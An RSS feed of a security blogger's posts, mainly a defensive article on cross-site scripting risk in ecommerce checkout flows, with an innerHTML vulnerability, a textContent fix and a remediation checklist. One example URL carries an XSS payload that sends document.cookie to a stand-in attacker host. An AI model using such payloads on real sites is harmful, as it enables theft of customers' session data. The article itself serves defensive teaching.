<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>Forem: Stanley A</title>
    <description>The latest articles on Forem by Stanley A (@stanleya).</description>
    <link>https://forem.com/stanleya</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3892823%2F1d044e1a-6037-41f2-9a01-da23d770397b.jpg</url>
      <title>Forem: Stanley A</title>
      <link>https://forem.com/stanleya</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://forem.com/feed/stanleya"/>
    <language>en</language>
    <item>
      <title>XSS in Ecommerce: From Unsafe Rendering to Checkout Risk</title>
      <dc:creator>Stanley A</dc:creator>
      <pubDate>Sat, 25 Apr 2026 12:46:13 +0000</pubDate>
      <link>https://forem.com/stanleya/xss-in-ecommerce-from-unsafe-rendering-to-checkout-risk-34hf</link>
      <guid>https://forem.com/stanleya/xss-in-ecommerce-from-unsafe-rendering-to-checkout-risk-34hf</guid>
      <description>&lt;p&gt;&lt;em&gt;Originally published on WardenBit. This Dev.to version keeps the engineering detail and focuses on the attack path, practical impact, and remediation choices teams can act on.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Cross-site scripting still gets underestimated in modern web apps.&lt;/p&gt;

&lt;p&gt;A lot of teams hear "XSS" and think of an old-school alert box, a low-priority frontend bug, or a scanner finding to tidy up later. In ecommerce, that assumption can be expensive.&lt;/p&gt;

&lt;p&gt;When attacker-controlled input reaches a trusted browser session near account pages, search, support flows, reviews, promo components, or checkout helpers, the issue is not "JavaScript happened to run." The issue is that untrusted code can now operate inside a real customer journey — and that changes everything.&lt;/p&gt;

&lt;p&gt;That shifts XSS from a UI bug into a trusted-session and conversion-risk issue.&lt;/p&gt;

&lt;p&gt;In this post, I'll walk through:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;how a small unsafe rendering path becomes an exploit chain&lt;/li&gt;
&lt;li&gt;why ecommerce is especially exposed&lt;/li&gt;
&lt;li&gt;what recent guidance says about XSS in 2026&lt;/li&gt;
&lt;li&gt;what developers should change first&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Why XSS still matters
&lt;/h2&gt;

&lt;p&gt;OWASP categorises XSS as a browser-side injection problem where a trusted website ends up delivering attacker-controlled script to the victim's browser. That can lead to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;content manipulation&lt;/li&gt;
&lt;li&gt;session abuse&lt;/li&gt;
&lt;li&gt;credential capture&lt;/li&gt;
&lt;li&gt;data exfiltration&lt;/li&gt;
&lt;li&gt;fake prompts or payment-flow tampering&lt;/li&gt;
&lt;li&gt;redirection to attacker infrastructure&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That's already serious in any SaaS context.&lt;/p&gt;

&lt;p&gt;In ecommerce, the blast radius is often larger because browser-side trust sits close to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;login state&lt;/li&gt;
&lt;li&gt;customer data&lt;/li&gt;
&lt;li&gt;checkout completion&lt;/li&gt;
&lt;li&gt;embedded payment components&lt;/li&gt;
&lt;li&gt;marketing and analytics scripts&lt;/li&gt;
&lt;li&gt;support and admin workflows&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Even without a server-side compromise, a single browser execution point can be enough to disrupt sales, steal useful data, or set up a second-stage skimming path.&lt;/p&gt;

&lt;h2&gt;
  
  
  A realistic engineering path from bug to incident
&lt;/h2&gt;

&lt;p&gt;Imagine a store with a modern frontend and a mix of first- and third-party browser code. There is one weak rendering path in a feature like:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;a search parameter reflected into the page&lt;/li&gt;
&lt;li&gt;a promo code helper that writes raw values into the DOM&lt;/li&gt;
&lt;li&gt;a product review field replayed in an internal dashboard&lt;/li&gt;
&lt;li&gt;a support note or return message rendered without proper encoding&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The exact source varies. The chain is usually familiar.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 1: Untrusted input reaches a dangerous sink
&lt;/h3&gt;

&lt;p&gt;The root cause is often simple:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;innerHTML&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;unsafe templating&lt;/li&gt;
&lt;li&gt;direct DOM insertion&lt;/li&gt;
&lt;li&gt;a framework escape hatch&lt;/li&gt;
&lt;li&gt;incomplete sanitisation&lt;/li&gt;
&lt;li&gt;encoding applied in the wrong context&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A classic example looks like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;q&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;URLSearchParams&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;search&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;q&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="dl"&gt;''&lt;/span&gt;
&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;querySelector&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;#search-label&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;innerHTML&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;`Results for: &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;q&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If &lt;code&gt;q&lt;/code&gt; is attacker-controlled, you have turned a convenience shortcut into a script execution sink. An attacker could craft a URL like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://shop.example.com/search?q=&amp;lt;img src=x onerror="fetch('https://attacker.example/steal?c='+document.cookie)"&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A safer version is usually boring on purpose:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;q&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;URLSearchParams&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;search&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;q&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="dl"&gt;''&lt;/span&gt;
&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;querySelector&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;#search-label&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;textContent&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;`Results for: &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;q&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That one substitution often marks the difference between displaying user input and executing it.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 2: The attacker uses trust, not brute force
&lt;/h3&gt;

&lt;p&gt;Once a page reflects or stores executable input, the attacker no longer needs shell access or a backend foothold.&lt;/p&gt;

&lt;p&gt;They can distribute a crafted link through:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;phishing pretexts&lt;/li&gt;
&lt;li&gt;fake delivery updates&lt;/li&gt;
&lt;li&gt;support impersonation&lt;/li&gt;
&lt;li&gt;ad/affiliate abuse&lt;/li&gt;
&lt;li&gt;compromised social messages&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If the victim lands on the real store domain and the browser executes the payload in-site, the attacker inherits the trust of that origin.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 3: Script execution turns into business impact
&lt;/h3&gt;

&lt;p&gt;From the browser, attacker code may be able to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;read visible page data&lt;/li&gt;
&lt;li&gt;alter messaging during checkout&lt;/li&gt;
&lt;li&gt;inject fake login or coupon prompts&lt;/li&gt;
&lt;li&gt;intercept form values before submission&lt;/li&gt;
&lt;li&gt;insert external loaders&lt;/li&gt;
&lt;li&gt;tamper with account workflows&lt;/li&gt;
&lt;li&gt;harvest sensitive state if other controls are weak&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Even where &lt;code&gt;HttpOnly&lt;/code&gt; cookies reduce session-token theft, XSS remains dangerous. The attacker often doesn't need the raw cookie value to create loss — running actions inside the victim's active session, changing UX, and exfiltrating data from the page can be enough.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why ecommerce is different
&lt;/h2&gt;

&lt;p&gt;In ecommerce, frontend code is frequently asked to do too much.&lt;/p&gt;

&lt;p&gt;Teams ship quickly. Marketing needs scripts. Product needs widgets. Support tools get embedded. Reviews, referrals, analytics, personalisation, A/B testing, chat, and payment elements all share browser real estate.&lt;/p&gt;

&lt;p&gt;That creates three patterns defenders should pay attention to.&lt;/p&gt;

&lt;h3&gt;
  
  
  1. The browser is part of the revenue path
&lt;/h3&gt;

&lt;p&gt;A vulnerability on a brochure page is not the same as a vulnerability next to cart, account, or checkout state.&lt;/p&gt;

&lt;p&gt;The closer an execution point is to payment actions, identity flows, account management, or customer support — the more likely it becomes that a "frontend bug" produces measurable revenue loss.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Third-party script sprawl increases uncertainty
&lt;/h3&gt;

&lt;p&gt;Many teams know their backend asset inventory better than their browser estate. That's a problem.&lt;/p&gt;

&lt;p&gt;If you can't answer:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;what scripts run on sensitive pages&lt;/li&gt;
&lt;li&gt;who owns them&lt;/li&gt;
&lt;li&gt;why they are there&lt;/li&gt;
&lt;li&gt;what permissions they effectively have&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;…then your practical attack surface is larger than your code repository suggests.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. XSS overlaps with skimming concerns
&lt;/h3&gt;

&lt;p&gt;Recent PCI and ecommerce guidance keeps pushing the same message: browser-side compromise matters because that is where customer value is collected.&lt;/p&gt;

&lt;p&gt;Not every XSS issue becomes Magecart-style abuse, but the overlap in commercial concern is real:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;payment-flow manipulation&lt;/li&gt;
&lt;li&gt;hostile JavaScript on sensitive pages&lt;/li&gt;
&lt;li&gt;data theft before submission&lt;/li&gt;
&lt;li&gt;redirection to attacker-controlled domains&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That is why XSS deserves more than checkbox treatment on ecommerce properties.&lt;/p&gt;

&lt;h2&gt;
  
  
  Current signals that this is still a live problem
&lt;/h2&gt;

&lt;p&gt;Several recent guidance and trend signals reinforce that XSS remains strategically relevant:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;OWASP&lt;/strong&gt; continues to emphasise correct context-aware output encoding, safe sinks, and cautious handling of framework escape hatches.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;CISA/FBI&lt;/strong&gt; secure-by-design messaging in late 2024 explicitly called for eliminating XSS as a defect class — not just patching isolated bugs forever.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;PCI-related guidance&lt;/strong&gt; has continued to focus merchant attention on payment-page script integrity and unauthorised browser-side changes.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Ecommerce threat reporting&lt;/strong&gt; through 2024 and 2025 showed continued skimmer and browser-compromise activity against legitimate stores.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The takeaway for engineers: the browser is still an attack surface that can turn directly into commercial loss.&lt;/p&gt;

&lt;h2&gt;
  
  
  What developers should review first
&lt;/h2&gt;

&lt;p&gt;If you are trying to reduce real XSS risk, start with the paths that combine exposure and business impact.&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Find unsafe sinks before you chase edge-case payloads
&lt;/h3&gt;

&lt;p&gt;Search the codebase and rendering paths for patterns such as:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;innerHTML&lt;/code&gt; / &lt;code&gt;outerHTML&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;insertAdjacentHTML&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;template interpolation into raw HTML&lt;/li&gt;
&lt;li&gt;dangerous markdown/HTML rendering paths&lt;/li&gt;
&lt;li&gt;legacy DOM manipulation helpers&lt;/li&gt;
&lt;li&gt;custom sanitisers with unclear guarantees&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Also inspect admin tools and support dashboards — not just public-facing pages. A stored payload in an internal workflow is often more dangerous than a reflected one on a marketing page.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Match encoding to the real output context
&lt;/h3&gt;

&lt;p&gt;A common failure mode is treating "sanitise user input" as a universal answer. It is not.&lt;/p&gt;

&lt;p&gt;HTML body, HTML attribute, URL, JavaScript, and CSS contexts each have different rules. Correct encoding depends on where the data actually lands. If your team cannot explain the sink and context, you probably don't have enough confidence in the defence.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Prefer safe sinks by default
&lt;/h3&gt;

&lt;p&gt;Where the requirement is to display text, use APIs that keep it as text:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;textContent&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;controlled &lt;code&gt;setAttribute&lt;/code&gt; for safe attributes&lt;/li&gt;
&lt;li&gt;framework-native escaped rendering paths&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Unsafe-by-default shortcuts should require explicit justification — and code review sign-off.&lt;/p&gt;

&lt;h3&gt;
  
  
  4. Treat rich text as a special case
&lt;/h3&gt;

&lt;p&gt;If the business genuinely needs HTML input, use a strict allow-list sanitiser and keep the allowed surface small.&lt;/p&gt;

&lt;p&gt;"Trusted because it came from our CMS" or "trusted because support staff entered it" is not a defence if the value can be replayed into a browser and later abused.&lt;/p&gt;

&lt;h3&gt;
  
  
  5. Reduce third-party risk on sensitive pages
&lt;/h3&gt;

&lt;p&gt;On login, account, and checkout-adjacent routes, review:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;whether each third-party script is necessary&lt;/li&gt;
&lt;li&gt;whether it can be moved off the critical path&lt;/li&gt;
&lt;li&gt;whether stronger CSP rules are possible&lt;/li&gt;
&lt;li&gt;whether inline execution can be reduced&lt;/li&gt;
&lt;li&gt;whether integrity checks, change monitoring, or tighter script governance exist&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  6. Test the journey, not just the component
&lt;/h3&gt;

&lt;p&gt;Many teams validate XSS at the component level but miss the operational question:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;What can a payload do inside a real account session?&lt;/li&gt;
&lt;li&gt;What sensitive workflows are exposed nearby?&lt;/li&gt;
&lt;li&gt;Can it alter the checkout path?&lt;/li&gt;
&lt;li&gt;Can it harvest anything useful from the page?&lt;/li&gt;
&lt;li&gt;Can it pivot into support or admin tooling?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Those are the questions that turn a scanner finding into an actual severity decision.&lt;/p&gt;

&lt;h2&gt;
  
  
  A quick triage model for ecommerce teams
&lt;/h2&gt;

&lt;p&gt;When you find XSS or suspicious unsafe rendering, triage it with these questions:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Is the issue reflected, stored, or DOM-based?&lt;/li&gt;
&lt;li&gt;Does it execute on public pages, authenticated pages, or staff-only workflows?&lt;/li&gt;
&lt;li&gt;Is it near account data, checkout data, or support/admin tooling?&lt;/li&gt;
&lt;li&gt;Can it alter visible trust signals or action flows?&lt;/li&gt;
&lt;li&gt;Can it introduce or load external attacker-controlled resources?&lt;/li&gt;
&lt;li&gt;What controls already reduce impact: CSP, &lt;code&gt;HttpOnly&lt;/code&gt;, same-site cookies, token design, isolation, monitoring?&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;If exploited at scale for 3–4 days, what would the business actually feel?&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;That last question is often what gets missing urgency back into the conversation.&lt;/p&gt;

&lt;h2&gt;
  
  
  The engineering lesson
&lt;/h2&gt;

&lt;p&gt;The most useful mental shift is this:&lt;/p&gt;

&lt;p&gt;XSS is not important because of the payload demo. It is important because of &lt;em&gt;execution inside trust&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;Once untrusted code runs in the browser of a real customer on a real store, the question becomes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;What does the user trust here?&lt;/li&gt;
&lt;li&gt;What can the script observe?&lt;/li&gt;
&lt;li&gt;What can it change?&lt;/li&gt;
&lt;li&gt;What business process depends on this page behaving honestly?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That is why practical security reviews still matter even when teams already run scanners and linters. Automated tools are helpful, but they don't always tell you whether a given rendering flaw can actually interfere with commerce, customer trust, or recovery cost.&lt;/p&gt;

&lt;h2&gt;
  
  
  Final takeaway
&lt;/h2&gt;

&lt;p&gt;For ecommerce teams, XSS should not be filed under "minor frontend issue" by default.&lt;/p&gt;

&lt;p&gt;It belongs in the same conversation as:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;checkout resilience&lt;/li&gt;
&lt;li&gt;client-side script governance&lt;/li&gt;
&lt;li&gt;payment-page integrity&lt;/li&gt;
&lt;li&gt;account security&lt;/li&gt;
&lt;li&gt;incident cost&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If your application handles customer journeys in the browser, the right question is not whether XSS is old.&lt;/p&gt;

&lt;p&gt;It is whether your current frontend patterns make unsafe rendering impossible, rare, or easy for an attacker to turn into a bad week.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Canonical version: WardenBit blog article on ecommerce XSS risk. If you want, I can also turn this into a code-review checklist for React/Next.js teams or a tester's validation checklist for browser-side security findings.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>xss</category>
      <category>security</category>
      <category>ecommerce</category>
      <category>webdev</category>
    </item>
    <item>
      <title>What I Write About Here</title>
      <dc:creator>Stanley A</dc:creator>
      <pubDate>Wed, 22 Apr 2026 16:25:44 +0000</pubDate>
      <link>https://forem.com/stanleya/what-i-write-about-here-27dj</link>
      <guid>https://forem.com/stanleya/what-i-write-about-here-27dj</guid>
      <description>&lt;p&gt;This space is for practical notes on the gap between what &lt;em&gt;looks secure&lt;/em&gt; and what is &lt;em&gt;actually secure&lt;/em&gt; in modern web applications.&lt;/p&gt;

&lt;p&gt;Topics will mostly include:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;web application security&lt;/li&gt;
&lt;li&gt;API risk&lt;/li&gt;
&lt;li&gt;browser-side vulnerabilities&lt;/li&gt;
&lt;li&gt;practical penetration testing&lt;/li&gt;
&lt;li&gt;AI-assisted security workflows&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A lot of security issues do not fail because teams ignore them completely. They fail in the gap between assumptions and reality:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;“the scan came back clean”&lt;/li&gt;
&lt;li&gt;“the framework should handle that”&lt;/li&gt;
&lt;li&gt;“this path is internal only”&lt;/li&gt;
&lt;li&gt;“this issue is low severity in practice”&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The focus here will be on practical write-ups, real attack paths, remediation lessons, and the kinds of security problems that affect actual product and business workflows.&lt;/p&gt;

</description>
      <category>security</category>
      <category>webdev</category>
      <category>api</category>
      <category>devops</category>
    </item>
  </channel>
</rss>
